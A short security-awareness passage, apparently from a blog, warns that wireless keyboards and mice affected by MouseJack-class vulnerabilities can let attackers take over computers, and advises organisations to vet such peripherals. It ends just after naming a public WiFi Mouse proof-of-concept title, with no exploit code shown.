Wireless peripherals and computer accessories offer mess-free convenience in the workspace, allowing users to move keyboards and mice to a more comfortable or visually pleasing position or to switch between computers at the press of a button. However, unlike other types of USB devices that IT departments vet – such as USB flash drives, card readers, fingerprint sensors, and authentication devices – wireless keyboards and mice might not receive a high level of scrutiny.
Wireless devices typically are not chosen and used with security in mind, and a surprising number of wireless keyboards and mice affected by a class of vulnerabilities called MouseJack can enable attackers to fully compromise the computers these devices connect to. By understanding wireless keyboard- and mouse-related computer peripheral attacks, organizations can better choose the types of accessories they allow to connect to user workstations.
We’ve seen examples where with just fifteen lines of code, you can take over a computer more than a hundred yards away,
Here is one public POC example.
# Exploit Title: WiFi Mouse 1.7.8.5 - Remote Code Execution
